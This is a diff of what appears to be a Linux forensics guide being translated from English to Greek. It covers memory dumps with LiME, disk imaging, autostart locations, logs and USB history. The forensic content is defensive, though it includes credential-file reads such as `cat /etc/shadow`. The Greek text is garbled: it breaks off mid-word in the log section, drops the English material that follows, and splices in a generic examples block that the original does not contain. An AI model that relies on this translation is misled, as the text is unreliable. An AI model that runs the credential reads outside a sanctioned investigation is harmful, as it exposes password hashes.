export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
|
||||
Once you have configured the system to use good and known binaries you can start **extracting some basic information**:
|
||||
|
||||
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλά και γνωστά δυαδικά αρχεία, μπορείτε να ξεκινήσετε την **εξαγωγή ορισμένων βασικών πληροφοριών**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -52,51 +49,47 @@ cat /etc/passwd #Unexpected data?
|
|||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### Υποψίασμα για ύποπτες πληροφορίες
|
||||
|
||||
#### Suspicious information
|
||||
Κατά την απόκτηση των βασικών πληροφοριών, θα πρέπει να ελέγξετε για παράξενα πράγματα όπως:
|
||||
|
||||
While obtaining the basic information you should check for weird things like:
|
||||
* Οι **διεργασίες root** συνήθως εκτελούνται με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία root με ένα μεγάλο PID μπορεί να υπάρχει υποψία
|
||||
* Ελέγξτε τις **εγγεγραμμένες συνδέσεις** χρηστών χωρίς κέλυφος μέσα στο `/etc/passwd`
|
||||
* Ελέγξτε για **κατακερματισμένους κωδικούς πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
|
||||
|
||||
* **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect
|
||||
* Check **registered logins** of users without a shell inside `/etc/passwd`
|
||||
* Check for **password hashes** inside `/etc/shadow` for users without a shell
|
||||
### Αντιγραφή μνήμης
|
||||
|
||||
### Memory Dump
|
||||
|
||||
To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
To **compile** it, you need to use the **same kernel** that the victim machine is using.
|
||||
Για να αποκτήσετε τη μνήμη του εκτελούμενου συστήματος, συνίσταται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Για να το **μεταγλωττίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύμα.
|
||||
|
||||
{% hint style="info" %}
|
||||
Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it
|
||||
Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύμα, καθώς θα προκαλέσει αλλαγές σε αυτήν.
|
||||
{% endhint %}
|
||||
|
||||
So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\
|
||||
In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/<kernel version>` to your machine, and then **compile** LiME using them:
|
||||
|
||||
Έτσι, αν έχετε μια πανομοιότυπη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε την εντολή `apt-get install lime-forensics-dkms`\
|
||||
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωττίσετε με τις σωστές κεφαλίδες του πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες του πυρήνα** της μηχανής θύματος, απλά **αντιγράψτε τον φάκελο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας και στη συνέχεια **μεταγλωττίστε** το LiME χρησιμοποιώντας αυτές.
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
Το LiME υποστηρίζει 3 **μορφές**:
|
||||
|
||||
LiME supports 3 **formats**:
|
||||
* Raw (κάθε τμήμα ενωμένο μαζί)
|
||||
* Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
|
||||
* Lime (συνιστώμενη μορφή με μεταδεδομένα)
|
||||
|
||||
* Raw (every segment concatenated together)
|
||||
* Padded (same as raw, but with zeroes in right bits)
|
||||
* Lime (recommended format with metadata
|
||||
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
|
||||
|
||||
LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444`
|
||||
### Δημιουργία εικόνας δίσκου
|
||||
|
||||
### Disk Imaging
|
||||
#### Απενεργοποίηση
|
||||
|
||||
#### Shutting down
|
||||
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή, καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να τον απενεργοποιήσει.\
|
||||
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση "τραβώντας το φις"**. Ο πρώτος θα επιτρέψει στις **διεργασίες να τερματίσουν κανονικά** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στον πιθανό **κακόβουλο κώδικα** να **καταστρέψει τα αποδεικτικά στοιχεία**. Η προσέγγιση "τραβώντας το φις" μπορεί να οδηγήσει σε **απώλεια ορισμένων πληροφοριών** (δεν θα χαθεί πολλή πληροφορία καθώς ήδη πήραμε μια εικόνα της μνήμης) και ο **κακόβουλος κώδικας δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλος κώδικας**, απλά εκτελέστε την εντολή **`sync`** στο σύστημα και τραβήξτε το φις.
|
||||
|
||||
First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\
|
||||
There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug.
|
||||
|
||||
#### Taking an image of the disk
|
||||
|
||||
It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information.
|
||||
#### Δημιουργία εικόνας του δίσκου
|
||||
|
||||
Είναι σημαντικό να σημειώσουμε ότι **πριν συνδέσετε τον υπολογιστή σας με οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα γίνει **προσάρτηση με ανάγνωση μόνο** για να αποφευχθεί οποιαδήποτε τροποποίηση πληροφοριών.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
@ -105,35 +98,33 @@ dd if=<subject device> of=<image file> bs=512
|
|||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Προ-ανάλυση εικόνας δίσκου
|
||||
|
||||
### Disk Image pre-analysis
|
||||
|
||||
Imaging a disk image with no more data.
|
||||
|
||||
Δημιουργία εικόνας δίσκου χωρίς περισσότερα δεδομένα.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
|
@ -162,42 +153,40 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Search for known Malware
|
||||
## Αναζήτηση για γνωστό κακόβουλο λογισμικό
|
||||
|
||||
### Modified System Files
|
||||
### Τροποποιημένα αρχεία συστήματος
|
||||
|
||||
Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files.
|
||||
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, το οποίο είναι κρίσιμο για τον εντοπισμό πιθανών προβληματικών αρχείων.
|
||||
|
||||
- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check.
|
||||
- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues.
|
||||
- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
|
||||
- **Συστήματα βασισμένα σε Debian**: Χρησιμοποιήστε την εντολή `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενη από την εντολή `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με την εντολή `apt-get install debsums`) για τον εντοπισμό οποιουδήποτε προβλήματος.
|
||||
|
||||
### Malware/Rootkit Detectors
|
||||
### Εργαλεία ανίχνευσης κακόβουλου λογισμικού/Rootkit
|
||||
|
||||
Read the following page to learn about tools that can be useful to find malware:
|
||||
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορούν να είναι χρήσιμα για τον εντοπισμό κακόβουλου λογισμικού:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Search installed programs
|
||||
## Αναζήτηση εγκατεστημένων προγραμμάτων
|
||||
|
||||
To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories.
|
||||
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και σε συστήματα RedHat, εξετάστε τα αρχεία καταγραφής και τις βάσεις δεδομένων του συστήματος, σε συνδυασμό με χειροκίνητους ελέγχους σε κοινά καταλόγους.
|
||||
|
||||
- For Debian, inspect **_`/var/lib/dpkg/status`_** and **_`/var/log/dpkg.log`_** to fetch details about package installations, using `grep` to filter for specific information.
|
||||
- Για το Debian, εξετάστε τα αρχεία **_`/var/lib/dpkg/status`_** και **_`/var/log/dpkg.log`_** για να λάβετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας την εντολή `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
|
||||
|
||||
- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages.
|
||||
|
||||
To uncover software installed manually or outside of these package managers, explore directories like **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, and **_`/sbin`_**. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs.
|
||||
- Οι χρήστες του RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να εμφανίσουν τα εγκατεστημένα πακέτα.
|
||||
|
||||
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, και **_`/sbin`_**. Συνδυάστε τη λίστα των καταλόγων με εντολές που είναι συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, βελτιώνοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -213,30 +202,25 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εύκολα ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Recover Deleted Running Binaries
|
||||
|
||||
Imagina a process taht was executed from /tmp/exec and deleted. It's possible to extract it
|
||||
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
|
||||
|
||||
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και διαγράφηκε. Είναι δυνατή η εξαγωγή του
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Επιθεώρηση τοποθεσιών αυτόματης εκκίνησης
|
||||
|
||||
## Inspect Autostart locations
|
||||
|
||||
### Scheduled Tasks
|
||||
|
||||
### Προγραμματισμένες εργασίες
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
|
@ -250,106 +234,84 @@ cat /var/spool/cron/crontabs/* \
|
|||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### Υπηρεσίες
|
||||
|
||||
### Services
|
||||
Διαδρομές όπου μπορεί να εγκατασταθεί κακόβουλο λογισμικό ως υπηρεσία:
|
||||
|
||||
Paths where a malware could be isntalled as a service:
|
||||
|
||||
- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts.
|
||||
- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions.
|
||||
- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts.
|
||||
- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant.
|
||||
- **/etc/systemd/system**: A directory for system and service manager scripts.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel.
|
||||
- **/usr/local/etc/rc.d/**: For custom or third-party services.
|
||||
- **~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware.
|
||||
- **/lib/systemd/system/**: System-wide default unit files provided by installed packages.
|
||||
- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, καθοδηγώντας περαιτέρω σε σενάρια εκκίνησης.
|
||||
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση των υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις του Linux.
|
||||
- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις του Linux, όπως το Debian, για την αποθήκευση σεναρίων εκκίνησης.
|
||||
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω των **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
|
||||
- **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να ξεκινήσουν σε ένα επίπεδο εκτέλεσης πολλαπλών χρηστών.
|
||||
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
|
||||
- **~/.config/autostart/**: Για εφαρμογές εκκίνησης αυτόματης εκκίνησης που είναι συγκεκριμένες για τον χρήστη, η οποία μπορεί να είναι ένα κρυψώνα για κακόβουλο λογισμικό που στοχεύει τον χρήστη.
|
||||
- **/lib/systemd/system/**: Παγκόσμια προεπιλεγμένα αρχεία μονάδας που παρέχονται από εγκατεστημένα πακέτα.
|
||||
|
||||
|
||||
### Kernel Modules
|
||||
### Πυρήνας Ενοτήτων
|
||||
|
||||
Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include:
|
||||
Οι ενότητες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτές τις ενότητες περιλαμβάνουν:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version.
|
||||
- **/etc/modprobe.d**: Contains configuration files to control module loading.
|
||||
- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings.
|
||||
- **/lib/modules/$(uname -r)**: Περιέχει ενότητες για την τρέχουσα έκδοση του πυρήνα.
|
||||
- **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης των ενοτήτων.
|
||||
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για τις γενικές ρυθμίσεις των ενοτήτων.
|
||||
|
||||
### Other Autostart Locations
|
||||
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
|
||||
|
||||
Linux employs various files for automatically executing programs upon user login, potentially harboring malware:
|
||||
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας κακόβουλο λογισμικό:
|
||||
|
||||
- **/etc/profile.d/***, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login.
|
||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile**, and **~/.config/autostart**: User-specific files that run upon their login.
|
||||
- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment.
|
||||
- **/etc/profile.d/***, **/etc/profile** και **/etc/bash.bashrc**: Εκτελούνται για κάθε σύνδεση χρήστη.
|
||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** και **~/.config/autostart**: Αρχεία που αφορούν συγκεκριμένους χρήστες και εκτελούνται κατά την σύνδεσή τους.
|
||||
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
|
||||
|
||||
## Examine Logs
|
||||
## Εξέταση Αρχείων Καταγραφής
|
||||
|
||||
Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include:
|
||||
|
||||
- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities.
|
||||
- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins.
|
||||
- Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events.
|
||||
- **/var/log/boot.log**: Contains system startup messages.
|
||||
- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services.
|
||||
- **/var/log/kern.log**: Stores kernel messages, including errors and warnings.
|
||||
- **/var/log/dmesg**: Holds device driver messages.
|
||||
- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations.
|
||||
- **/var/log/cron**: Logs cron job executions.
|
||||
- **/var/log/daemon.log**: Tracks background service activities.
|
||||
- **/var/log/btmp**: Documents failed login attempts.
|
||||
- **/var/log/httpd/**: Contains Apache HTTPD error and access logs.
|
||||
- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities.
|
||||
- **/var/log/xferlog**: Records FTP file transfers.
|
||||
- **/var/log/**: Always check for unexpected logs here.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering.
|
||||
{% endhint %}
|
||||
|
||||
**Linux maintains a command history for each user**, stored in:
|
||||
|
||||
- ~/.bash_history
|
||||
- ~/.zsh_history
|
||||
- ~/.zsh_sessions/*
|
||||
- ~/.python_history
|
||||
- ~/.*_history
|
||||
|
||||
Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins.
|
||||
|
||||
Check files that can grant extra rprivileges:
|
||||
|
||||
- Review `/etc/sudoers` for unanticipated user privileges that may have been granted.
|
||||
- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted.
|
||||
- Examine `/etc/groups` to identify any unusual group memberships or permissions.
|
||||
- Examine `/etc/passwd` to identify any unusual group memberships or permissions.
|
||||
|
||||
Some apps alse generates its own logs:
|
||||
|
||||
- **SSH**: Examine _~/.ssh/authorized_keys_ and _~/.ssh/known_hosts_ for unauthorized remote connections.
|
||||
- **Gnome Desktop**: Look into _~/.recently-used.xbel_ for recently accessed files via Gnome applications.
|
||||
- **Firefox/Chrome**: Check browser history and downloads in _~/.mozilla/firefox_ or _~/.config/google-chrome_ for suspicious activities.
|
||||
- **VIM**: Review _~/.viminfo_ for usage details, such as accessed file paths and search history.
|
||||
- **Open Office**: Check for recent document access that may indicate compromised files.
|
||||
- **FTP/SFTP**: Review logs in _~/.ftp_history_ or _~/.sftp_history_ for file transfers that might be unauthorized.
|
||||
- **MySQL**: Investigate _~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities.
|
||||
- **Less**: Analyze _~/.lesshst_ for usage history, including viewed files and commands executed.
|
||||
- **Git**: Examine _~/.gitconfig_ and project _.git/logs_ for changes to repositories.
|
||||
|
||||
### USB Logs
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables.
|
||||
|
||||
It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list).
|
||||
|
||||
### Installation
|
||||
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα γεγονότα του συστήματος μέσω διάφορων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι κρίσιμα για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Τα κύρια αρχεία καταγραφής περιλαμβάνουν:
|
||||
|
||||
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε όλο το σύστημα.
|
||||
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
|
||||
- Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
|
||||
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
|
||||
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες του διακομιστή ηλεκτρονικού ταχυδρομείου, χρήσιμες για την παρακολούθηση υπηρεσιών που σχετίζονται με το ηλεκτρονικό ταχυδρομείο.
|
||||
- **/var/log/kern.log**: Αποθηκεύει μη
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### Παραδείγματα
|
||||
|
||||
### Examples
|
||||
#### Εύρεση αρχείων
|
||||
|
||||
Για να εντοπίσετε αρχεία σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε την εντολή `find`. Για παράδειγμα, για να βρείτε όλα τα αρχεία με κατάληξη `.txt` στον κατάλογο `/home/user`, μπορείτε να εκτελέσετε την εξής εντολή:
|
||||
|
||||
```bash
|
||||
find /home/user -name "*.txt"
|
||||
```
|
||||
|
||||
#### Ανάλυση αρχείων καταγραφής
|
||||
|
||||
Για να αναλύσετε ένα αρχείο καταγραφής σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `grep` ή το `awk`. Για παράδειγμα, για να βρείτε όλες τις εμφανίσεις της λέξης "error" σε ένα αρχείο καταγραφής με όνομα `logfile.txt`, μπορείτε να εκτελέσετε την εξής εντολή:
|
||||
|
||||
```bash
|
||||
grep "error" logfile.txt
|
||||
```
|
||||
|
||||
#### Ανάκτηση διαγραμμένων αρχείων
|
||||
|
||||
Για να ανακτήσετε διαγραμμένα αρχεία σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `extundelete` ή το `foremost`. Για παράδειγμα, για να ανακτήσετε όλα τα διαγραμμένα αρχεία από τον κατάλογο `/home/user`, μπορείτε να εκτελέσετε την εξής εντολή:
|
||||
|
||||
```bash
|
||||
extundelete /dev/sda1 --restore-all
|
||||
```
|
||||
|
||||
#### Ανάλυση μνήμης
|
||||
|
||||
Για να αναλύσετε τη μνήμη ενός συστήματος Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `Volatility` ή το `LiME`. Για παράδειγμα, για να εκτελέσετε μια ανάλυση μνήμης σε ένα αντίγραφο ασφαλείας της μνήμης με όνομα `memory.dump`, μπορείτε να εκτελέσετε την εξής εντολή:
|
||||
|
||||
```bash
|
||||
volatility -f memory.dump imageinfo
|
||||
```
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
|
@ -357,115 +319,109 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
|
||||
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
Περισσότερα παραδείγματα και πληροφορίες μπορείτε να βρείτε στο GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
|
||||
## Review User Accounts and Logon Activities
|
||||
## Αναθεώρηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
|
||||
|
||||
